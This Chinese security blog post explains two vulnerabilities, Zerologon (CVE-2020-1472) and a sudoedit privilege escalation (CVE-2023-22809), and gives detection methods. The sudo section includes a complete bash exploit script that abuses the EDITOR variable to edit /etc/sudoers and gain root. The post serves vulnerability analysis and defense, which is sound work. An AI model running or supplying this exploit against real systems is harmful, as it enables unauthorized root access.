🔖或与
“雪地计划”:漏洞入侵痕迹检测

简述

2023年初开始,境外APT组织的攻击手法似乎进行了迭代升级。现有溯源排查方法中一些重要线索的产出区内,已很难发现高价值信息。通过研究各漏洞实现原理、利用条件和痕迹特征等,提高对漏洞利用事件的感知能力。

CVE-2020-1472 Netlogon域内提权漏洞

漏洞简述

CVE-2020-1472是一个windows域控中严重的远程权限提升漏洞,是微软在Netlogon协议中没有正确使用加密算法而导致的漏洞。攻击者获取一个普通的域内主机后,可通过使用8字节全0 的client challenge向域发起计算机账户认证请求,将域管密码置空,导出域管hash后进行连接。

影响版本

  • Windows Server 2008 R2 for x64-based Systems Service Pack 1
  • Windows Server 2008 R2 for x64-based Systems Service Pack 1 (Server Core installation)
  • Windows Server 2012
  • Windows Server 2012 (Server Core installation)
  • Windows Server 2012 R2
  • Windows Server 2012 R2 (Server Core installation)
  • Windows Server 2016
  • Windows Server 2016 (Server Core installation)
  • Windows Server 2019
  • Windows Server 2019 (Server Core installation)
  • Windows Server, version 1903 (Server Core installation)
  • Windows Server, version 1909 (Server Core installation)
  • Windows Server, version 2004 (Server Core installation)

漏洞原理

  1. Netlogon组件是Windows上一项重要的功能组件,用于用户和机器在域内网络上的认证,以及复制数据库以进行域控备份,还用于维护域成员与域之间、域与域控之间、域DC与跨域DC之间的关系。
  2. Netlogon远程协议是一个可用的在Windows域控制器上的RPC(remote procedure call protocol,远程过程调用协议,允许像调用本地服务一样调用远程服务)接口,用于对域中的用户和其他服务进行身份验证,最常见的是方便用户使用NTLM(NTLAN Manager,问询/应答身份验证协议,telnet的一种验证身份方式)登录服务器协议,让计算机更新其域内的密码。其他机器与域控的Netlogon通讯使用RPC协议MS-NRPC(指定了Netlogon远程协议,基于域的网络上的用户和计算机进行身份验证)。
  3. Netlogon协议不会使用与其他RPC服务相同的身份验证方案,而是使用自定义的加密协议,让客户端(加入域的计算机)和服务器(域管理员)互相证明它们都知道共享的机密(客户端计算机的哈希值密码)。

Netlogon使用的AES认证算法中的vi向量默认为0,导致攻击者可以绕过认证,可以向域发起Netlogon 计算机账户认证请求, 使用8字节全0 client challenge 不断尝试得到一个正确的8字节全0 client credential 通过认证。同时其设置域控密码的远程接口也使用了该函数,导致可以将域控中保存在AD中的管理员password设置为空,以及入侵后修复域控密码。

由于微软在Netlogon协议中进行AES加密运算过程中,使用了AES-CFB8模式并且错误的将IV设置为全零,这使得攻击者在明文(client chanllenge)、IV等要素可控的情况下,存在较高概率使得产生的密文为全零。

为了能够加密会话,必须指定初始化向量(IV)引导加密过程,这个IV值必须是唯一的,并为每个单独的随机生成用同一密钥加密的密文。
但是ComputeLogOnCreddential函数定义的IV是固定的,应该由16零字节组成,而AES-CFB8要求IV是随机的,对256个密钥中的1个将AES-CFB8加密应用全零字节明文将导致都是零密文。

Netlogon协议身份认证采用了挑战-响应机制,其中加密算法是AES-CFB8,并且IV默认全零,导致了该漏洞产生。又因为认证次数没做限制,签名功能客户端默认可选,使得漏洞可以被利用。

入侵痕迹检测

1、事件ID5805\4624\4742
在ZeroLogon攻击执行时在Windows日志中生成事件5805,在漏洞利用代码执行时生成事件4624和4742
2、Sysmon事件ID 3
ZeroLogon攻击的另一种检测技术:Sysmon NetworkConnect事件和其强大规则语句。
当ZeroLogon事件发生时,攻击设备的网络连接将传入目标域控制器的补丁进程,可以通过Sysmon配置代码来监控这种类型的活动。
3、流量包
除了主机层的监控之外,我们还可以通过抓包来检测ZeroLogon攻击。
使用抓包工具捕获并查看域内RPC协议流量,查看客户端凭证的数据域是否全部设置为0

CVE-2023-22809本地提权

漏洞简述

Sudo中的sudoedit对处理用户提供的环境变量(如SUDO_EDITOR、VISUAL和EDITOR)中传递的额外参数存在缺陷。当用户指定的编辑器包含绕过sudoers策略的“–”参数时,拥有sudoedit访问权限的本地攻击者可通过将任意条目附加到要处理的文件列表中,最终在目标系统上实现权限提升(由普通用户到超级用户,即"root")。

影响版本

sudo 1.8.0-sudo 1.9.12p1(sudo>=1.8.0 or sudo <=1.9.12p1)

漏洞原理

sudo在main函数中进入parse_args函数解析sudo的启动参数,然后将返回值传入sudo_mode

int
main(int argc, char *argv[], char *envp[])
{
    int nargc, status = 0;
    char **nargv, **env_add;
    char **command_info = NULL, **argv_out = NULL, **run_envp = NULL;
    const char * const allowed_prognames[] = { "sudo", "sudoedit", NULL };
    ......
    submit_argv = argv;
    submit_envp = envp;
    sudo_mode = parse_args(argc, argv, &submit_optind, &nargc, &nargv,
        &sudo_settings, &env_add);
}

sudo_mode是parse_args的返回值,根据参数解析相应的模式,这个值决定下面的switch语句中进入哪个分支

int
parse_args(int argc, char **argv, int *old_optind, int *nargc, char ***nargv,
    struct sudo_settings **settingsp, char ***env_addp)
{
    const char *progname, *short_opts = sudo_short_opts;
    struct option *long_opts = sudo_long_opts;
    struct environment extra_env;
    int mode = 0;                /* what mode is sudo to be run in? */
    int flags = 0;                /* mode flags */
    int valid_flags = DEFAULT_VALID_FLAGS;
    int ch, i;
    char *cp;
    debug_decl(parse_args, SUDO_DEBUG_ARGS);
 
    /* Is someone trying something funny? */
    if (argc <= 0)
        usage();
 
    /* The plugin API includes the program name (either sudo or sudoedit). */
    progname = getprogname();
    sudo_settings[ARG_PROGNAME].value = progname;
 
    /* First, check to see if we were invoked as "sudoedit". */
    if (strcmp(progname, "sudoedit") == 0) {
        mode = MODE_EDIT;
        sudo_settings[ARG_SUDOEDIT].value = "true";
        valid_flags = EDIT_VALID_FLAGS;
        short_opts = edit_short_opts;
        long_opts = edit_long_opts;
    }
    ......
if ((ch = getopt_long(argc, argv, short_opts, long_opts, NULL)) != -1) {
            switch (ch) {
            ......
            case 'E':
                    /*
                     * Optional argument is a comma-separated list of
                     * environment variables to preserve.
                     * If not present, preserve everything.
                     */
                    if (optarg == NULL) {
                        sudo_settings[ARG_PRESERVE_ENVIRONMENT].value = "true";
                        SET(flags, MODE_PRESERVE_ENV);
                    } else {
                        parse_env_list(&extra_env, optarg);
                    }
                    break;
                case 'e':
                    if (mode && mode != MODE_EDIT)
                        usage_excl();
                    mode = MODE_EDIT;
                    sudo_settings[ARG_SUDOEDIT].value = "true";
                    valid_flags = EDIT_VALID_FLAGS;
                    break;
            ......
            case 'l':
                    if (mode) {
                        if (mode == MODE_LIST)
                            SET(flags, MODE_LONG_LIST);
                        else
                            usage_excl();
                    }
                    mode = MODE_LIST;
                    valid_flags = LIST_VALID_FLAGS;
                    break;
                    if (!mode) {
        /* Defer -k mode setting until we know whether it is a flag or not */
        if (sudo_settings[ARG_IGNORE_TICKET].value != NULL) {
            if (argc == 0 && !ISSET(flags, MODE_SHELL|MODE_LOGIN_SHELL)) {
                mode = MODE_INVALIDATE;        /* -k by itself */
                sudo_settings[ARG_IGNORE_TICKET].value = NULL;
                valid_flags = 0;
            }
        }
        if (!mode)
            mode = MODE_RUN;                /* running a command */
    }

parse_args首先会检测执行程序名称的长度,如果长度大于4且后四个字母为edit,则将mode设置为MODE_EDIT,然后通过getopt_long函数解析命令行参数以及转换到“sudo_settings”结构体中,这个函数是getopt函数的一个扩展,可以处理长选项和可选参数,返回值是当前选项的字符代码;进入到switch分支,并根据选项设置相应的标志位

长选项(long options)是一种长的命令行标志,通常由两个减号(--)和一个带有描述性名称的单词组成。例如,--file 是一个长选项
长选项通常用于指定程序的一些高级选项,比如输出目录、日志文件、配置文件等。
短选项(short options)是一种用于在命令行中指定程序选项的方式。通常由单个字符组成,并且在前面加上一个破折号(-)。例如,-h 是一个短选项,它可能用于显示程序的帮助信息。
短选项通常用于指定程序的一些基本选项,比如输出格式、日志级别、文件名等。它们通常很容易记忆,因为它们只有一个字符,并且在命令行中很常见。
长选项和短选项通常可以接参数

主要关注会在下面的分析或exploit中用到的这几个参数:

  • l:列出当前用户可以使用 sudo 命令执行的命令和参数
  • E:保留当前用户的环境变量执行sudo(通常情况下,sudo命令会重置环境变量)
  • e:以管理员权限打开指定的文件进行编辑,使用sudo -e会将文件的所有权和权限更改为管理员,该命令常用于修改重要的系统配置文件,相当于sudoedit

解析参数和设置模式后返回到main函数,由于sudo_mode已设置为MODE_EDIT,会执行policy_check函数

switch (sudo_mode & MODE_MASK) {
......
case MODE_EDIT:
     case MODE_RUN:
         if (!policy_check(nargc, nargv, env_add, &command_info, &argv_out,
                 &run_envp))
          ......
         /* The close method was called by sudo_edit/run_command. */
         break;

policy_check函数的源码

static bool
policy_check(int argc, char * const argv[], char *env_add[],
    char **command_info[], char **run_argv[], char **run_envp[])
{
    const char *errstr = NULL;
    int ok;
    debug_decl(policy_check, SUDO_DEBUG_PCOMM);
 
    if (policy_plugin.u.policy->check_policy == NULL) {
        sudo_fatalx(U_("policy plugin %s is missing the \"check_policy\" method"),
            policy_plugin.name);
    }
    ......
}

可以发现他实际上会通过虚表来调用check_policy,这里虚表的载入实际上是通过load_plugins等函数加载函数表到sudoers_policy结构体中,还与sudoers.so有关,具体过程比较复杂,我们可以直接在gdb里下断点到policy_check函数,然后单步步过到这个位置,然后看一下具体是哪个函数

实际上调用的是sudoers_policy_check函数

static int
sudoers_policy_check(int argc, char * const argv[], char *env_add[],
    char **command_infop[], char **argv_out[], char **user_env_out[],
    const char **errstr)
{
    ......
    struct sudoers_exec_args exec_args;
    int ret;
    ......
     if (ISSET(sudo_mode, MODE_EDIT))
        valid_flags = EDIT_VALID_FLAGS;
    else
        SET(sudo_mode, MODE_RUN);
    ......
    exec_args.argv = argv_out;
    exec_args.envp = user_env_out;
    exec_args.info = command_infop;
 
    ret = sudoers_policy_main(argc, argv, 0, env_add, false, &exec_args);
    ......
}

在sudoers_policy_main函数首先调用sudoers_lookup函数,主要功能是读取sudoers文件的内容并验证用户是否有权限执行命令,这也是此漏洞的攻击条件之一,如果没有权限会无法绕过sudoers_lookup函数。

EXP

if ! sudo --version | head -1 | grep -qE '(1\.8.*|1\.9\.[0-9]1?(p[1-3])?|1\.9\.12p1)$'
then
    echo "> Currently installed sudo version is not vulnerable"
    exit 1
fi
 
EXPLOITABLE=$(sudo -l | grep -E "sudoedit|sudo -e" | grep -E '\(root\)|\(ALL\)|\(ALL : ALL\)' | cut -d ')' -f 2-)
 
if [ -z "$EXPLOITABLE" ]; then
    echo "> It doesn't seem that this user can run sudoedit as root"
    read -p "Do you want to proceed anyway? (y/N): " confirm && [[ $confirm == [yY] ]] || exit 2
else
    echo "> BINGO! User exploitable"
fi
 
echo "> Opening sudoers file, please add the following line to the file in order to do the privesc:"
echo "$USER ALL=(ALL:ALL) ALL"
read -n 1 -s -r -p "Press any key to continue..."
echo "$EXPLOITABLE"
EDITOR="vim -- /etc/sudoers" $EXPLOITABLE
sudo su root
exit 0

首先检查当前系统上的sudo版本是否存在安全漏洞,如果不是,则退出。如果是,则检查当前用户是否可以通过sudoedit以root权限运行命令。如果当前用户无法以root权限运行sudoedit,则脚本会提示用户是否要继续进行提权攻击。如果用户可以以root权限运行sudoedit,则脚本将显示一条消息,告诉用户将特定行添加到sudoers文件中。最后,脚本将打开sudoers文件以便用户添加此行。

  • 然后我们看看EXPOLITABLE这一行,主要执行了以下步骤:
  • 使用 sudo -l 命令列出当前用户的sudo权限。
  • 使用 grep -E "sudoedit|sudo -e" 过滤出能够运行 sudoedit 命令或者 sudo -e 命令的权限。
  • 使用 grep -E '(root)|(ALL)|(ALL : ALL)' 过滤出其中包含 (root) 或者 (ALL) 或者 (ALL : ALL) 的权限。
  • 使用 cut -d ')' -f 2- 命令删除每行开头的括号和空格,只保留每行的命令参数。
  • 最终,该命令将返回一个以空格分隔的字符串列表,其中每个元素是一个能够以root权限运行的命令参数。如果返回的字符串为空,则表示当前用户无法以root权限运行任意sudoedit命令。
    如果无法以root权限运行sudoedit,则不满足CVE-2023-22809的利用条件;

如果有权限,则会提示接下来的payload会任意文件编辑打开sudoers文件,攻击者在/etc/sudoers文件里添加$USER ALL=(ALL:ALL) ALL,该命令表示用户$USER可以运行任意命令,而不需要输入密码,接着注入EDITOR,EDITOR中—后面的,最后运行sudo su root实现提权

版权声明:文章使用请告知。
var bszCaller,bszTag;!function(){var c,d,e,a=!1,b=[];ready=function(c){return a||"interactive"===document.readyState||"complete"===document.readyState?c.call(document):b.push(function(){return c.call(this)}),this},d=function(){for(var a=0,c=b.length;c>a;a++)b[a].apply(document);b=[]},e=function(){a||(a=!0,d.call(window),document.removeEventListener?document.removeEventListener("DOMContentLoaded",e,!1):document.attachEvent&&(document.detachEvent("onreadystatechange",e),window==window.top&&(clearInterval(c),c=null)))},document.addEventListener?document.addEventListener("DOMContentLoaded",e,!1):document.attachEvent&&(document.attachEvent("onreadystatechange",function(){/loaded|complete/.test(document.readyState)&&e()}),window==window.top&&(c=setInterval(function(){try{a||document.documentElement.doScroll("left")}catch(b){return}e()},5)))}(),bszCaller={fetch:function(a,b){var c="BusuanziCallback_"+Math.floor(1099511627776*Math.random());window[c]=this.evalCall(b),a=a.replace("=BusuanziCallback","="+c),scriptTag=document.createElement("SCRIPT"),scriptTag.type="text/javascript",scriptTag.defer=!0,scriptTag.src=a,scriptTag.referrerPolicy="no-referrer-when-downgrade",document.getElementsByTagName("HEAD")[0].appendChild(scriptTag)},evalCall:function(a){return function(b){ready(function(){try{a(b),scriptTag.parentElement.removeChild(scriptTag)}catch(c){bszTag.hides()}})}}},bszCaller.fetch("//busuanzi.ibruce.info/busuanzi?jsonpCallback=BusuanziCallback",function(a){bszTag.texts(a),bszTag.shows()}),bszTag={bszs:["site_pv","page_pv","site_uv"],texts:function(a){this.bszs.map(function(b){var c=document.getElementById("busuanzi_value_"+b);c&&(c.innerHTML=a[b])})},hides:function(){this.bszs.map(function(a){var b=document.getElementById("busuanzi_container_"+a);b&&(b.style.display="none")})},shows:function(){this.bszs.map(function(a){var b=document.getElementById("busuanzi_container_"+a);b&&(b.style.display="inline")})}};